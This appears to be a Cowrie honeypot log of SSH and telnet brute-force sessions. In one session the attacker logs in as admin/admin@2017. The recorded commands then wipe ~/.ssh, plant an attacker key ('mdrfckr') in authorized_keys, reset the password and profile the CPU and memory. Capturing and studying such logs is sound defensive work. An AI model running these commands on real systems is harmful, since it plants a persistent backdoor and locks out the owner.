{"eventid":"cowrie.session.closed","duration":4.426628589630127,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:12.521778Z","src_ip":"137.184.155.248","session":"097610d88328","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":46086,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce74e84e5f52","protocol":"ssh","message":"New connection: 114.141.59.195:46086 (159.203.135.109:22) [session: ce74e84e5f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:39.660207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:39.664885Z","src_ip":"114.141.59.195","session":"ce74e84e5f52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:39.906886Z","src_ip":"114.141.59.195","session":"ce74e84e5f52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W#E$R%T^Y&U*I(O)P","message":"login attempt [root/!Q@W#E$R%T^Y&U*I(O)P] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:40.915888Z","src_ip":"114.141.59.195","session":"ce74e84e5f52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:42.161858Z","src_ip":"114.141.59.195","session":"ce74e84e5f52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.80442547798157,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:44.231646Z","src_ip":"137.184.155.248","session":"39a17844fb8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":54632,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2de96fdfc47","protocol":"ssh","message":"New connection: 102.211.152.138:54632 (159.203.135.109:22) [session: e2de96fdfc47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:45.051639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:45.057694Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:45.170022Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@2017","message":"login attempt [admin/admin@2017] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:45.636089Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:45.894731Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:45.898003Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:45.901379Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:46.012803Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:46.273077Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:46.276691Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:46.391028Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:46.394947Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":54640,"dst_ip":"159.203.135.109","dst_port":22,"session":"a919cd401b97","protocol":"ssh","message":"New connection: 102.211.152.138:54640 (159.203.135.109:22) [session: a919cd401b97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:46.495185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:46.499770Z","src_ip":"102.211.152.138","session":"a919cd401b97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:46.607651Z","src_ip":"102.211.152.138","session":"a919cd401b97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:47.069793Z","src_ip":"102.211.152.138","session":"a919cd401b97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:48.199462Z","src_ip":"102.211.152.138","session":"a919cd401b97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":39570,"dst_ip":"159.203.135.109","dst_port":22,"session":"17121c2ac726","protocol":"ssh","message":"New connection: 102.211.152.138:39570 (159.203.135.109:22) [session: 17121c2ac726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:48.298722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:48.303206Z","src_ip":"102.211.152.138","session":"17121c2ac726","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:48.407036Z","src_ip":"102.211.152.138","session":"17121c2ac726","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:48.852818Z","src_ip":"102.211.152.138","session":"17121c2ac726","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:49.958982Z","src_ip":"102.211.152.138","session":"17121c2ac726","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:50.107304Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:50.110195Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:50.220220Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:50.504903Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin@2017\\nUHFu6RiF7XYW\\nUHFu6RiF7XYW\"|passwd|bash","message":"CMD: echo -e \"admin@2017\\nUHFu6RiF7XYW\\nUHFu6RiF7XYW\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:50.508376Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:50.512325Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:50.516031Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/efe589cd05f8e340aa69ff6697ee150bfebed37979984be0bc6727064818e780","size":32,"shasum":"efe589cd05f8e340aa69ff6697ee150bfebed37979984be0bc6727064818e780","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/efe589cd05f8e340aa69ff6697ee150bfebed37979984be0bc6727064818e780 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:50.628388Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:50.884270Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin@2017\\nUHFu6RiF7XYW\\nUHFu6RiF7XYW\\n\"|passwd","message":"CMD: echo \"admin@2017\\nUHFu6RiF7XYW\\nUHFu6RiF7XYW\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:50.887581Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e5c68dbaab755cb7195ee8eef4dab1907878b9d6fd7055771b74d37271007887","size":25,"shasum":"e5c68dbaab755cb7195ee8eef4dab1907878b9d6fd7055771b74d37271007887","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/e5c68dbaab755cb7195ee8eef4dab1907878b9d6fd7055771b74d37271007887 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:50.998618Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:51.306167Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:51.309724Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":46470,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ea43bcdfcd6","protocol":"telnet","message":"New connection: 137.184.155.248:46470 (10.17.0.5:23) [session: 6ea43bcdfcd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:51.403104Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:51.421792Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:51.686440Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:51.690554Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:51.802757Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:52.068073Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:52.072365Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:52.076004Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:58:52.191152Z","src_ip":"102.211.152.138","session":"e2de96fdfc47","protocol":"ssh"}
